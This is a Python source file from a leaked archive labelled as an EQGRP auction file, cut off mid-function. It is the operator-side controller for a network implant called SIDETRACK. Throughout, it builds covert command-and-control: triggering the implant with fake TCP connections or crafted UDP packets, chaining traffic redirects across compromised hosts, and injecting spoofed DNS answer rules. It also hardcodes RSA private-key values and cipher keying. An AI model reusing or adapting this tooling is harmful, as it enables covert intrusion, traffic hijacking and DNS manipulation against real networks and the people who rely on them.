32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 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Leak #4 - Don't Forget Your Base/EQGRP-Auction-File/Linux/bin/pyside/sidetrack.py
1
72163
import base import crypto import echocmd import string import struct import time import re import os import sys from socket import * import rawtcp import types class SIDECMD(echocmd.ECHOCMD): def __init__(self): echocmd.ECHOCMD.__init__(self) def TypeConvert(self, stype): #print "In TypeConvert %d" % (stype) if type(stype) != type(''): if stype == 1: stype = "A" elif stype == 2: stype = "NS" elif stype == 3: stype = "MD" elif stype == 4: stype = "MF" elif stype == 5: stype = "CNAME" elif stype == 6: stype = "SOA" elif stype == 7: stype = "MB" elif stype == 8: stype = "MG" elif stype == 9: stype = "MR" elif stype == 10: stype = "NULL" elif stype == 11: stype = "WKS" elif stype == 12: stype = "PTR" elif stype == 13: stype = "HINFO" elif stype == 14: stype = "MINFO" elif stype == 15: stype = "MX" elif stype == 16: stype = "TXT" elif stype == 252: stype = "AXFR" elif stype == 253: stype = "MAILB" elif stype == 254: stype = "MAILA" elif stype == 255: stype = "*" return stype def ConvertType(self, rtype): if type(rtype) != type(0): rtype = string.upper(rtype) if rtype == "A": rtype = 1 elif rtype == "NS": rtype = 2 elif rtype == "MD": rtype = 3 elif rtype == "MF": rtype = 4 elif rtype == "CNAME": rtype = 5 elif rtype == "SOA": rtype = 6 elif rtype == "MB": rtype = 7 elif rtype == "MG": rtype = 8 elif rtype == "MR": rtype = 9 elif rtype == "NULL": rtype = 10 elif rtype == "WKS": rtype = 11 elif rtype == "PTR": rtype = 12 elif rtype == "HINFO": rtype = 13 elif rtype == "MINFO": rtype = 14 elif rtype == "MX": rtype = 15 elif rtype == "TXT": rtype = 16 elif rtype == "AXFR": rtype = 252 elif rtype == "MAILB": rtype = 253 elif rtype == "MAILA": rtype = 254 elif rtype == "*": rtype = 255 return rtype def ClassConvert(self, rclass): #print "In ClassConvert %d" % (rclass) if type(rclass) != type(''): if rclass == 1: rclass = "IN" elif rclass == 2: rclass = "CS" elif rclass == 3: rclass = "CH" elif rclass == 4: rclass = "HS" return rclass def ConvertClass(self, rclass): if type(rclass) != type(0): rclass = string.upper(rclass) if rclass == "IN": rclass = 1 elif rclass == "CS": rclass = 2 elif rclass == "CH": rclass = 3 elif rclass == "HS": rclass = 4 return rclass def ConvertFlags(self, flags): # qr rd ra retFlags = 0 if type(flags) != type(0): flags = string.upper(flags) if flags == "RA": retFlags = retFlags | 0x0080L if flags == "AA": retFlags = retFlags | 0x0400L return retFlags def SectionConvert(self,section): if type(section) != type(''): if section == 0: section = "query" elif section == 1: section = "ans" elif section == 2: section = "auth" elif section == 3: section = "add" return section def ConvertSection(self,section): if type(section) != type(0): section = string.upper(section) if section[:1] == "Q": section = 0 elif section[:2] == "AN": section = 1 elif section[:2] == "AU": section = 2 elif section[:2] == "AD": section = 3 return section def NameConvertName(self, name): ret = '' sp = 0 if type(name) != type(0): while name[sp:sp+1] != '\000': namelen = struct.unpack("!H",'\000' + name[sp:sp+1])[0] #print namelen if sp != 0: ret = ret + '.' for i in range(1,namelen+1): val = struct.unpack("!H", '\000' + name[sp+i:sp+i+1])[0] if val >= 32 and val < 127: ret = ret + name[sp+i:sp+i+1] else: raise TypeError, self.HexConvert(name) sp = sp+1+namelen return ret def NameConvert(self, name, padding=0): try: return self.NameConvertName(name) except: return self.HexConvert(name, padding) def ConvertName(self, name): ret = '' regExpr = re.compile("^[a-zA-Z0-9-_.]*$") if type(name) != type(0x0L): reg = regExpr.search(name) if reg != None: dots = string.splitfields(name,".") for i in range(len(dots)): ret = ret + chr(len(dots[i])) + dots[i] ret = ret + '\000' return ret else: return name else: return struct.pack("!H",name) def FlagConvert(self, flag): if flag == 0: return "Ignore" elif flag == 1: return "Count" elif flag == 2: return "Active" def HexConvert(self,data,pad=0): ret = '' padding = '' for i in range(pad): padding = padding + ' ' for i in range(len(data)): if i % 16 == 0 and i != 0: ret = ret + '\n' + padding myNum = struct.unpack("!H", '\000'+data[i:i+1])[0] ret = ret + "%02x " % myNum ret = ret + '\n' + padding + "(%d)" % (len(data)) return ret class SIDETRACK(base.Implant): def __init__(self, session, proto): base.Implant.__init__(self, session, proto) self.name = 'SIDETRACK' self.newCV = None self.targetopts = self.session.target.GetImplantOpts('sidetrack') self.version = self.targetopts['VERSION'] if self.version >= 2.0: self.cipher = crypto.rc6() else: self.cipher = crypto.rc5() self.cipher.SetKey(self.targetopts['KEY']) self.N = 0xdec9ba81a6b9ea70c876ad3413aa7dd57be75d42e668843b1401fd42015144231004bfab4e459dabdbb159665b48a4d72357c3630d0e911b5b96bf0b0d8ab83f4bb045a13ea2acc85d120c3539f206200b9931a41ad6141eb7212e66784880ff6f32b16e1783d4ca52fe5ec484ef94f019feaf58abbc5de6a62f10eec347ac4dL self.d = 0x25219f159bc9a712cc13c788adf1bfa394a68f8b2666c0b48355aa35aae2e0b082ab754737b644f1f9f2e43bb9e170ce85e3f5e5d7826d848f43ca81d7971eb4e7a62bc8e5e0a549bcb9ecb216451f8ba32444a71cb0ff97a77500cb39f802968ae7c10366d3eed895b939ec54eb8c4c54329bddb0eb00e691bc6b5d10d5af05L self.Nsign = 0xb2003aac88a36d45d840bc748aa972b3f2e69a29f43f1e2faf810d9172db756d4843492489781764688d29c3a547a1522702d20e10f426149ac2f323bf35dfa1cb036f467109fd321bae03711eab16b210ed131ac077113f1dd34be480508708893c1a40fdc1b1d637e1cf3efd13e6bbbdc88a8c2fc103a45c490ba933a79a31L self.dsign = 0x076aad1c85b179e2e902b284db1c64c77f74466c6a2d4beca7500b3b64c924e48dad786185ba564ed9b08c6826e2fc0e16f5736b40b4d6eb8672ca217d4ce95156a1920e3e48fe1dfe82738bb6ec985c441421d188962b141d3113773e8006b1273de6b846635ff7979547b516d7c426d5c3b0e2505150095b81e266e3b97c03L self.packetSize = 450 self.timediff = self.session.target.timediff self.localRedir = None self.parent = None self.children = [] self.rules = [] def RegisterCommands(self): self.AddCommand('ping', echocmd.ECHOCMD_PING) self.AddCommand('status', echocmd.ECHOCMD_STATUS) self.AddCommand('done', echocmd.ECHOCMD_DONE) self.AddCommand('setsize', echocmd.ECHOCMD_SETSIZE) self.AddCommand('timediff', echocmd.ECHOCMD_TIMEDIFF) self.AddCommand('incision', echocmd.ECHOCMD_INCISION) self.AddCommand('rekey', echocmd.ECHOCMD_REKEY) self.AddCommand('switchkey', echocmd.ECHOCMD_SWITCHKEY) self.AddCommand('origkey', echocmd.ECHOCMD_ORIGKEY) self.AddCommand('key', echocmd.ECHOCMD_KEY) self.AddCommand('init', SIDECMD_INIT) self.AddCommand('dnsadd', SIDECMD_DNSADD) self.AddCommand('dnsrm', SIDECMD_DNSREMOVE) self.AddCommand('dnsset', SIDECMD_DNSSET) self.AddCommand('dnsaction', SIDECMD_DNSACTION) self.AddCommand('dnsraw', SIDECMD_DNSRAW) self.AddCommand('dnslist', SIDECMD_DNSLIST) self.AddCommand('dnsload', SIDECMD_DNSLOAD) self.AddCommand('dnssave', SIDECMD_DNSSAVE) self.AddCommand('rediradd', SIDECMD_REDIRADD) self.AddCommand('redirlist', SIDECMD_REDIRLIST) self.AddCommand('redirset', SIDECMD_REDIRSET) self.AddCommand('redirrm', SIDECMD_REDIRREMOVE) self.AddCommand('connlist', SIDECMD_CONNLIST) self.AddCommand('connrm', SIDECMD_CONNREMOVE) self.AddCommand('stunload', SIDECMD_UNLOAD) self.AddCommand('connect', SIDECMD_CONNECT) self.AddCommand('cclist', SIDECMD_CCLIST) self.AddCommand('ccremove', SIDECMD_CCREMOVE) self.AddCommand('multiaddr', SIDECMD_MULTIADDR) ########################################################################## # HASANOTHERADDRESS class ######################################################################### class SIDECMD_MULTIADDR(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "multiaddr" self.usage = "multiaddr <0|1>" self.info = "Let pyside know that the target has multiple addresses" def run(self, value=1): self.implant.session.target.hasAnotherAddress = value return (1, "Value updated") ########################################################################## # CONNECT class ######################################################################### class SIDECMD_CONNECT(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "connect" self.usage = "connect <listen_address>:<listen_port>/<callback_port> <trigger_port>" self.info = "Connect to SIDETRACK" def parseHostInfo(self,host): #split the ip from the ports res = string.split(host,":") if len(res) == 1: raise ValueError, host elif len(res) == 2: ports = string.split(res[1],"/") if len(ports) != 2: raise ValueError, host if ports[0] == "*": raise ValueError, ports[0] else: ports[0] = eval(ports[0]) if ports[1] == "*": raise ValueError, ports[1] else: ports[1] = eval(ports[1]) try: host = None ipaddr = self.ConvertIP(res[0]) except: # host references a session host = base.sessionDict[res[0]] ipaddr = self.ConvertIP(host.target.GetIP()) return host,ipaddr,ports[0],ports[1] else: raise ValueError, host def run(self,hostinfo,fport): # Parse the ports prevRule = None tempRule = None localRedir = None host,laddr,lport,cbport = self.parseHostInfo(hostinfo) if fport == 0: PORT = 500 #open the listener try: sock = socket(AF_INET,SOCK_STREAM,0) sock.bind(('',lport)) sock.listen(2) except error, message: return (0, "Could not open port %d %s" % (lport,message)) # See if the user entered another host if host != None: self.implant.parent = host #hpn is the hop prior to host (might just be "me") hpn = host.implant.parent.name myname = host.name hostinfo = re.sub(myname,hpn,hostinfo) # Testing localRedir = REDIRECT(self,0,10800,10800,6,\ self.ConvertIP(self.implant.session.target.ip), \ self.ConvertIP(self.implant.session.target.ip), 0,0,0,(0,0,0,0),0,0x201,lport,cbport,0,0) localRedir.add(0) self.implant.session.localRedir = localRedir # Add a redirect (on the previous host) for this connection cmd = host.GetCommand('rediradd') base.ccSupport = 1 res = cmd.run("tcp",hostinfo,"%s:%d/%d"%(self.implant.session.target.ip,cbport,lport),"-tfix", "-afix","-l","3h","-c","3h") base.ccSupport = 0 if res[0] == 0: return res # Let the previous implant know this redirect rule is in support # of a command and control connection prevRule = cmd.redir if prevRule != None: prevRule.ccPassthru = self.implant.session # Add a temporary rule to allow the trigger to be passed to target base.ccSupport = 1 if fport == 0: res = cmd.run("udp","%s:%d/%d"%(hpn,PORT,PORT),"%s:%d/%d"%(self.implant.session.target.ip,PORT,PORT),"-tfix", "-afix") else: res = cmd.run("tcp","%s:%d/%d"%(hpn,0,fport),"%s:%d/%d"%(self.implant.session.target.ip,fport,0),"-tfix") base.ccSupport = 0 base.db(2,"%d.%d.%d.%d"%(res[2] >> 24, (res[2] >> 16) & 0xff, (res[2] >> 8) & 0xff, res[2] & 0xff)) if res[0] == 0: if prevRule != None: prevRule.remove() return (0, "Unable to establish redir for port %d: %s"%(fport,res[1])) tempRule = cmd.redir else: localRedir = None prevRule = None self.implant.session.localRedir = None #add the rule if tempRule == None or (tempRule != None and \ cmd.implant.session.target.hasAnotherAddress == 0): rule = base.redir.listen(laddr,\ self.ConvertIP(self.implant.session.target.ip),\ fport,lport,cbport,\ self.implant.timediff, \ self.implant.cipher.GetKey()) else: rule = base.redir.listen(tempRule.ST_ip,\ self.ConvertIP(self.implant.session.target.ip),\ fport,lport,cbport,\ self.implant.timediff, \ self.implant.cipher.GetKey()) #Make the connection if fport == 0: conn = socket(AF_INET,SOCK_DGRAM,0) conn.bind(('',PORT)) conn.connect((self.implant.session.target.ip,PORT)) f = os.popen("dd if=/dev/urandom bs=128 count=3 2>/dev/null") d = f.read() f = None data = d[0:14] + struct.pack("HBBBB", 0, 0x08, 0x10, 0x20, 0x01) + \ d[16:20] + struct.pack("!L", 0x154) + d[20:332] conn.send(data) conn.close() #accept self.implant.protocol.sock,addr = sock.accept() else: #conn = socket(AF_INET,SOCK_STREAM,0) # STUB: Catch this in a try statement try: # esev - 6/24/03 #conn.connect((self.implant.session.target.ip,fport)) #conn.close() #conn = None rawtcp.sendFakeConnection(self.implant.session.target.ip,fport) # STUB: Put a timeout here #accept self.implant.protocol.sock,addr = sock.accept() except: base.redir.delete(rule) sock.close() sock = None #if conn != None: # conn.close() if localRedir != None: localRedir.remove() if prevRule != None: prevRule.remove() if tempRule != None: tempRule.remove() base.sessionDict[self.implant.session.name] = None return (1,"Canceled by user, target %s removed" % self.implant.session.name) sock.close() sock = None # Set the CC redirect to inactive. This will not effect the # current connection..only prevent the rule from getting in the way if prevRule != None: prevRule.set(0) #if there is a connection back return 1 else 0 if self.implant.protocol.sock: cmd = self.implant.session.GetCommand("init") res = cmd.run() # remove the temporary redirect if tempRule != None: tempRule.remove() # remove the connection rule base.redir.delete(rule) if res[0] == 0: return res else: sys.stderr.write("%s\n"%(res[1])) return (1, "Connected") else: # remove the temporary redirect if tempRule != None: tempRule.remove() # remove the connection rule base.redir.delete(rule) return (0, "Could not connect") ########################################################################## # INIT class # op code: 0x20 ######################################################################### class SIDECMD_INIT(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "init" self.usage = "init" self.info = "Initialize the implant" def run(self): msg = echocmd.ECHOCMD.run(self) if msg != None: return (0,msg) cmd = self.implant.session.GetCommand("ping") res = cmd.run() if res[0] == 0: return res else: sys.stderr.write("%s\n"%(res[1])) for i in range(3): cmd = self.implant.session.GetCommand("rekey") res = cmd.run() if res[0] != 0: break if res[0] == 0: return res else: sys.stderr.write("%s\n"%(res[1])) cmd = self.implant.session.GetCommand("switchkey") res = cmd.run() if res[0] == 0: return res else: sys.stderr.write("%s\n"%(res[1])) cmd = self.implant.session.GetCommand("status") res = cmd.run() if res[0] == 0: return res else: sys.stderr.write("%s\n"%(res[1])) return (1,"Initialization complete") ########################################################################## # DNSREAD class ######################################################################### class SIDECMD_DNSLOAD(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "dnsload" self.usage = "dnsload <filename>" self.info = "Send DNS data from a file to the target" #------------------------------------------------------------------------- # Name : ProcessArg # Purpose: Tests to see if the argument is a string or number # Receive: arg - The argument to test # Return : The original string if a number, or a quoted string if not #------------------------------------------------------------------------- def ProcessArg(self,arg): if (re.match('^-?[0-9]*(\.[0-9]+)?$',arg) != None or \ re.match('^0x[0-9a-fA-F]+L?', arg) != None): return arg else: return '"' + arg + '"' def runRule(self, args): cmd = SIDECMD_DNSADD() cmd.implant = self.implant argString = 'myRes = cmd.run(' for i in range(1,len(args)): if i == 1: argString = argString + self.ProcessArg(args[i]) else: argString = argString + ", " + self.ProcessArg(args[i]) argString = argString + ')' print argString exec(argString) if myRes and myRes[0]: self.lastRule = myRes[0] def runSet(self, args): cmd = SIDECMD_DNSSET() cmd.implant = self.implant argString = 'myRes = cmd.run(self.lastRule' for i in range(1,len(args)): argString = argString + ", " + self.ProcessArg(args[i]) argString = argString + ')' print argString exec(argString) def runCmd(self, args): cmd = SIDECMD_DNSACTION() cmd.implant = self.implant argString = 'tmp = cmd.run(self.lastRule' for i in range(len(args)): argString = argString + ", " + self.ProcessArg(args[i]) argString = argString + ')' print argString exec(argString) def run(self, filename): msg = echocmd.ECHOCMD.run(self) if msg != None: return (0,msg) file = open(filename,'r') self.lastRule = 0 while 1: line = file.readline() if not line: line = None return (1, "Input from file complete") args = base.SplitCommandString(string.strip(line)) if len(args) == 0: continue elif args[0][0:1] == '#' or args[0] == '': continue elif args[0] == "rule": self.runRule(args) print "Rule %d added\n" % (self.lastRule) elif args[0] == "set": self.runSet(args) else: self.runCmd(args) return (0, "problem") ########################################################################## # DNSADD class # op code: 0x18 ######################################################################### class SIDECMD_DNSADD(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "dnsadd" self.usage = "dnsadd <from ip> <from mask> <longevity> <type> <class> <name> [dns flags]" self.info = "Add a DNS entry into sidetrack (see also dnsset)" self.op = 0x18L def run(self,ip,mask,length,rtype,rclass,name,flags=0x0080L): msg = echocmd.ECHOCMD.run(self) if msg != None: return (0,msg) ipStr = self.ConvertIP(ip) maskStr = self.ConvertIP(mask) rtype = self.ConvertType(rtype) rclass = self.ConvertClass(rclass) name = self.ConvertName(name) length = self.ConvertTime(length) self.data = ipStr + maskStr + struct.pack("!LHHHH",length,flags,\ rtype,rclass,len(name)) +name self.Query() if( self.op == 0x18L and self.res == 0x1L ): dnsRes = struct.unpack("!l",self.data[0:4])[0] return (dnsRes, "Add successful, rule number: %d" % dnsRes) else: return (0, "Add failed") ########################################################################## # DNSREMOVE class # op code: 0x19 ######################################################################### class SIDECMD_DNSREMOVE(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "dnsrm" self.usage = "dnsrm <rule|all>" self.info = "Remove a dns rule" self.op = 0x19L def run(self,rule): msg = echocmd.ECHOCMD.run(self) if msg != None: return (0,msg) if type(rule) == type("a") and string.upper(rule)[:1] == 'A': rule = 0 self.data = struct.pack("!l",rule) self.Query() if self.op == 0x19L and self.res == 0x01L: return (1,"Rule(s) removed") else: return (0,"unable to remove rule(s)") ########################################################################## # DNSSET class # op code: 0x20 ######################################################################### class SIDECMD_DNSSET(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "dnsset" self.usage = "dnsset <rule> <ignore|count|active>" self.info = "Turn a DNS rule on or off" self.op = 0x20L def run(self,rule,onoff): msg = echocmd.ECHOCMD.run(self) if msg != None: return (0,msg) self.data = struct.pack("!l",rule) if onoff[0:1] == "a" or onoff[0:1] == "A": self.data = self.data + struct.pack("!h", 2) elif onoff[0:1] == "c" or onoff[0:1] == "C": self.data = self.data + struct.pack("!h", 1) else: self.data = self.data + struct.pack("!h", 0) self.Query() if self.op == 0x20L and self.res == 0x01L: return (1,"rule %d successfully set to %s" %\ (rule, onoff)) else: return (0,"unable to set rule to %s" % onoff) ########################################################################## # DNSRAW class # op code: 0x21 ######################################################################### class SIDECMD_DNSRAW(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "dnsraw" self.info = "Upload a binary dns response packet" self.usage = "dnsraw <rule> <filename>" self.op = 0x21L def run(self, rule, filename): msg = echocmd.ECHOCMD.run(self) if msg != None: return (0, msg) file = open(filename,'r') file.seek(0,2) filesize = file.tell() file.seek(0,0) maxchunksize = self.implant.packetSize - 34 numchunks = filesize / maxchunksize if filesize%maxchunksize > 0: numchunks = numchunks + 1 for i in range(numchunks): self.data = file.read(maxchunksize) self.data = struct.pack("!LHHHH",rule,i,numchunks,4,\ len(self.data)) + self.data self.Query() if (self.op != 0x21L or self.res != 0x1L): return (0,"Binary upload failed at chunk %d"%(i+1)) return (1,"Binary upload of %d chunks successful"%(numchunks)) ########################################################################## # DNSACTION class # op code: 0x21 ######################################################################### class SIDECMD_DNSACTION(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "dnsaction" self.info = "Set the action for a rule" self.usage = "dnsaction <rule> <ans|auth|add> <name> <type> <class> <ttl> <data>" self.op = 0x21L def run(self,rule,sect,name,rtype,rclass,ttl,data): msg = echocmd.ECHOCMD.run(self) if msg != None: return (0,msg) name = self.ConvertName(name) sect = self.ConvertSection(sect) rtype = self.ConvertType(rtype) rclass = self.ConvertClass(rclass) ttl = self.ConvertTime(ttl) if rtype == 1: data = self.ConvertIP(data) else: data = self.ConvertName(data) self.data = struct.pack("!LLHHHHH", rule, ttl, sect, rtype,\ rclass,\ len(name),\ len(data))+\ name+data self.Query() if self.op == 0x21L and self.res == 0x01L: return (1,"%s action for rule %d set successfully" % \ (sect, rule)) else: return (0,"Could not set action") ########################################################################## # DNSLIST class # op code: 0x22 ######################################################################### class SIDECMD_DNSLIST(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "dnslist" self.usage = "dnslist [-v] [rule] [section]" self.info = "Retrieve a section of a rule from SIDETRACK" self.op = 0x22L def ParseReturn(self): if self.implant.version < 2.0: self.lastport = 0 (self.retVal, self.rule, self.fromIP, self.fromMask, self.longevity,\ self.lastIP, self.lastTime, self.seen, self.flag, self.ttl, \ self.dnsflags, self.rtype, self.rclass, self.rsec, \ self.nlen, self.dlen) =\ struct.unpack("!lLLLLLLHHLHHHHHH", self.data[0:48]) self.dnsname = self.data[48:48+(self.nlen)] self.dnsdata = self.data[48+(self.nlen):48+(self.nlen)+(self.dlen)] else: (self.retVal, self.rule, self.fromIP, self.fromMask, self.longevity,\ self.lastIP, self.lastTime, self.seen, self.flag, self.lastport, \ self.dnsflags, self.ttl, self.rtype, self.rclass, self.rsec, \ self.nlen, self.dlen) =\ struct.unpack("!lLLLLLLHHHHLHHHHH", self.data[0:50]) self.dnsname = self.data[50:50+(self.nlen)] self.dnsdata = self.data[50+(self.nlen):50+(self.nlen)+(self.dlen)] def GetRuleString(self): printOut = "%10d %s/%s %-7s %s\n" % \ (self.rule, self.ConvertToDot(self.fromIP), self.ConvertToDot(self.fromMask), self.FlagConvert(self.flag), time.ctime(self.longevity+self.implant.timediff)[4:]) printOut = printOut + " %5s: %-5d %s:%d %s\n" %\ ("count", self.seen, self.ConvertToDot(self.lastIP), self.lastport, time.ctime(self.lastTime + self.implant.timediff)) return printOut + self.GetSectionString() def GetRule(self,rule,sec=0): sec = self.ConvertSection(sec) #print "Getting section %d of rule %d\n" % (sec,rule) self.data = struct.pack("!LLH",rule,0,sec) self.Query() if self.op == 0x22L and self.res == 0x01L: self.ParseReturn() printOut = self.GetRuleString() return (1, printOut) else: return (0,"Error receiving result\n") def GetNextRule(self,lastRule,sec=0): sec = self.ConvertSection(sec) print "Getting section %d of rule after %d\n" % (sec,lastRule) self.data = struct.pack("!LLH",0,lastRule,sec) self.Query() if self.op == 0x22L and self.res == 0x01L: self.ParseReturn() if self.retVal == 0: lastRule = self.rule elif self.retVal == 2: lastRule = -2 else: lastRule = -1 if lastRule == -2: lastRule = -1 printOut = 'There are currently no rules' else: printOut = self.GetRuleString() return (lastRule, printOut) elif lastRule == 0: print self.res return (0,"There are currently no rules!") else: return (0,"Error receiving result\n") def GetSectionString(self): printOut = " %5s: %-5s %-3s %-5d " % \ (self.SectionConvert(self.rsec), self.TypeConvert(self.rtype), self.ClassConvert(self.rclass), self.ttl&0xffffffL) if self.nlen: try: printOut = printOut + "%s\n" % \ (self.NameConvertName(self.dnsname)) except: printOut = printOut + "\n N: %s\n" %\ (self.HexConvert(self.dnsname,10)) if self.dlen: if self.rtype == 1 and self.dlen == 4: printOut = printOut + \ " D: %s\n" % \ (self.ConvertToDot(self.dnsdata)) else: printOut = printOut + \ " D: %s\n" %\ (self.NameConvert(self.dnsdata,10)) return printOut def GetSection(self,rule,section): print "Getting section %d of rule %d\n" % (section,rule) self.data = struct.pack("!LLH",rule,0,section) self.Query() if self.op == 0x22L and self.res == 0x01L: self.ParseReturn() if self.rsec == 4: return (1, '') return (1,self.GetSectionString()) else: return (0, "Could not get section") def preRuleString(self): return "-----------------------------------------------------------------------\n" def postRuleString(self): return '' def runAll(self): moreRules = 1 lastRule = 0 printOut = '' while moreRules: res = self.GetNextRule(lastRule) if res[0] == 0: return res elif res[0] == -1: moreRules = 0 lastRule = self.rule else: lastRule = res[0] printOut = printOut + self.preRuleString() printOut = printOut + res[1] for i in range(1,4): sec = self.GetSection(lastRule, i) if sec[0] == 0: return (0, printOut) printOut = printOut + sec[1] printOut = printOut + self.postRuleString() return (1, printOut) def run(self,rule=-1, sec=-1, ext=-1): msg = echocmd.ECHOCMD.run(self) if msg != None: return (0,msg) if rule == -1: lastRule = 0 moreRules = 1 printOut = '' while moreRules: res = self.GetNextRule(lastRule) if res[0] == 0: return res elif res[0] == -1: moreRules = 0 lastRule = self.rule else: lastRule = res[0] printOut = printOut + res[1] elif rule == "-v": if sec == -1: return self.runAll() else: if ext == -1: res = self.GetRule(sec) if res[0] == 0: return res printOut = res[1] for i in range(1,4): sd = self.GetSection(sec, i) if sd[0] == 0: return (0, printOut) printOut = printOut + sd[1] else: return self.GetRule(sec,ext) else: if sec == -1: return self.GetRule(rule) else: # Rule != 0 and sec != -1 return self.GetRule(rule,sec) return (1,printOut) ########################################################################## # DNSREAD class ######################################################################### class SIDECMD_DNSSAVE(SIDECMD_DNSLIST): def __init__(self): SIDECMD_DNSLIST.__init__(self) self.name = "dnssave" self.usage = "dnssave [rule] [filename]" self.info = "Save one of more rules" def ToOct(self, data): if type(data) == type(0x0L) or type(data) == type(0): ret = '' if data > 255: if data > 65535: if data > 16777215: ret = ret + "\\%o" % ((int)(data/16777216)&0xffL) ret = ret + "\\%o" % ((int)(data/65536)&0xffL) ret = ret + "\\%o" % ((int)(data/256)&0xffL) ret = ret + "\\%o" % (data & 0xffL) else: reg = regex.compile("^[a-zA-Z0-9-_.]*$") ret = '' for i in range(len(data)): if reg.match(data[i:i+1]) != None: ret = ret + data[i:i+1] else: ret = ret + "\\%o" % \ struct.unpack("!H",'\000'+data[i:i+1])[0] return '"' + ret + '"' def NameConvertName(self, name): reg = regex.compile("^[a-zA-Z0-9-_.]*$") ret = '' sp = 0 if type(name) != type(0): while name[sp:sp+1] != '\000': namelen = struct.unpack("!H",'\000' + name[sp:sp+1])[0] #print namelen if sp != 0: ret = ret + '.' for i in range(1,namelen+1): if reg.match(name[sp+i:sp+i+1]) != None: ret = ret + name[sp+i:sp+i+1] else: raise TypeError, self.ToOct(name) sp = sp+1+namelen return ret def NameConvert(self, name, padding=0): try: return self.NameConvertName(name) except: return self.ToOct(name) def GetSectionString(self): printOut = "%s %s %s %s %d " % \ (self.SectionConvert(self.rsec), self.NameConvert(self.dnsname), self.TypeConvert(self.rtype), self.ClassConvert(self.rclass), self.ttl&0xffffffL) if self.dlen: if self.rtype == 1 and self.dlen == 4: printOut = printOut + self.ConvertToDot(self.dnsdata) else: printOut = printOut + self.NameConvert(self.dnsdata,10) return printOut + '\n' def GetRuleString(self): printOut = "rule %s %s %d %s %s %s 0x%04x\n" % \ (self.ConvertToDot(self.fromIP), self.ConvertToDot(self.fromMask), self.longevity - self.rule, self.TypeConvert(self.rtype), self.ClassConvert(self.rclass), self.NameConvert(self.dnsname), self.dnsflags) return printOut def preRuleString(self): return "# -----------------------------------------------------------------------\n" def postRuleString(self): return "set %s\n" % (self.FlagConvert(self.flag)) def run(self,rule=-1, file=-1): msg = echocmd.ECHOCMD.run(self) if msg != None: return (0,msg) if rule == -1: # All Rules to stdout return self.runAll() elif type(rule) == type(''): # All rules to file out = open(rule,'w') res = self.runAll() if res[0] == 0: return res out.write(res[1]) out = None return res elif file == -1: # Single rule to stdout res = self.GetRule(rule) if res[0] == 0: return res printOut = res[1] for i in range(1,4): sd = self.GetSection(rule,i) if sd[0] == 0: return (0,printOut + sd[1]) printOut = printOut + sd[1] return (1,printOut + self.postRuleString()) else: # Single rule to file out = open(file,"w") res = self.GetRule(rule) if res[0] == 0: return res printOut = res[1] for i in range(1,4): sd = self.GetSection(rule,i) if sd[0] == 0: return (0,printOut + sd[1]) printOut = printOut + sd[1] printOut = printOut + self.postRuleString() out.write(printOut) out = None return (1,printOut) ############################################################################# # REDIRADD class # opcode 0x23 ############################################################################# class SIDECMD_REDIRADD(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "rediradd" self.usage = "rediradd <protocol | all> <host_A> <host_B> [-insert <rule>]\n [-ttl (reset | <num>)] [-nocrypto] [-afix] [-tfix] [-samesum]\n [-longevity <time>] [-conntimeout <time>]\n\n <host_A>/<host_B> format: <ip_address>[:<local_port>/<remote_port>]\n" self.info = "Add a REDIRECT rule into SIDETRACK's rule set" self.op = 0x23L def parseProto(self,proto): origproto = proto if type(proto) == type ('a'): proto = string.upper(proto)[:1] if proto == "T": proto = 6 elif proto == "U": proto = 17 elif proto == "I": proto = 1 elif proto == "A": proto = 0 else: raise ValueError, origproto return proto def parseHostInfo(self,host): #split the ip from the ports res = string.split(host,":") if len(res) == 1: try: host = None ipaddr = self.ConvertIP(res[0]) except: host = base.sessionDict[res[0]] ipaddr = self.ConvertIP(host.target.GetIP()) return host,ipaddr,-1,-1 elif len(res) == 2: ports = string.split(res[1],"/") if len(ports) != 2: raise ValueError, host if ports[0] == "*": ports[0] = -1 else: ports[0] = eval(ports[0]) if ports[1] == "*": ports[1] = -1 else: ports[1] = eval(ports[1]) try: host = None ipaddr = self.ConvertIP(res[0]) except: host = base.sessionDict[res[0]] ipaddr = self.ConvertIP(host.target.GetIP()) return host,ipaddr,ports[0],ports[1] else: raise ValueError, host def run(self,protocol,attacker,target, opt0=None,opt1=None,opt2=None,opt3=None,opt4=None,opt5=None, opt6=None,opt7=None,opt8=None,opt9=None,first=1): msg = echocmd.ECHOCMD.run(self) if msg != None: return (0,msg,0) optList = [opt0,opt1,opt2,opt3,opt4,opt5,opt6,opt7,opt8,opt9] allProtoAT = 0 allProtoTA = 0 allRedir = 0 ttl_reset = 1 ttl_mod = 0 munge = 1 encrypt = 0 afix = 1 tfix = 1 ident = 0 seq = 0 insert = 0 samesum = 0 longevity = 14400 conn_to = 14400 cmd = None localredir = 0 if first: munge = 0 encrypt = 1 protocol = self.parseProto(protocol) if protocol == 0: allRedir = 1 host,A_ip,A_port,SA_port = self.parseHostInfo(attacker) host2,T_ip,T_port,ST_port = self.parseHostInfo(target) if host != None: hpn = host.implant.parent.name myname = host.name attacker = re.sub(myname,hpn,attacker) cmd = host.GetCommand('rediradd') res = cmd.run(protocol,attacker,\ "%s:%d/%d"%(self.implant.session.target.ip,SA_port,A_port),\ opt0,opt1,opt2,opt3,opt4,opt5,opt6,opt7,opt8,opt9,0) if res[0] == 0: return res if res[2] != 0 and cmd.implant.session.target.hasAnotherAddress == 1: A_ip = struct.pack("!L",res[2]) if SA_port == -1 and T_port != -1: base.db(1,"problem") raise ValueError, "Invalid ports" if SA_port != -1 and T_port == -1: base.db(1,"problem") raise ValueError, "Invalid ports" if ST_port == -1 and A_port != -1: base.db(1,"problem") raise ValueError, "Invalid ports" if ST_port != -1 and A_port == -1: base.db(1,"problem") raise ValueError, "Invalid ports" if SA_port == -1 and T_port == -1: allProtoAT = 1 SA_port = 0 T_port = 0 if ST_port == -1 and A_port == -1: allProtoTA = 1 ST_port = 0 A_port = 0 # Parse the args i=0 while i < len(optList): if optList[i] == None: break 